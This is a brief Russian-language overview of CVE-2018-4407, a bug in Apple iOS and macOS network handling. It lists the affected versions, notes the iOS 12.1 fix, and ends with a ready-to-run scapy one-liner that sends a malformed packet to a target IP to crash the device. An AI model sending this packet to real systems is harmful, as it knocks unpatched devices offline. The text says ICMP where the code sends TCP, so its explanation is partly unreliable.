
CVE-2018-4407: обзор и реализация
Принцип заключается в том, что другие поля ICMP-пакета делаются некорректными; ядро macOS или iPhone при разборе не выполняет проверку размера, что вызывает сбой.
Apple iOS 11 и более ранние версии: все устройства
Apple macOS High Sierra (максимальная затронутая версия — 10.13.6): все устройства
Apple macOS Sierra (максимальная затронутая версия — 10.12.6): все устройства
Apple OS X El Capitan и более ранние версии: все устройства
Apple полностью исправила эту уязвимость в обновлении «iOS 12.1», выпущенном 30 октября.
pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))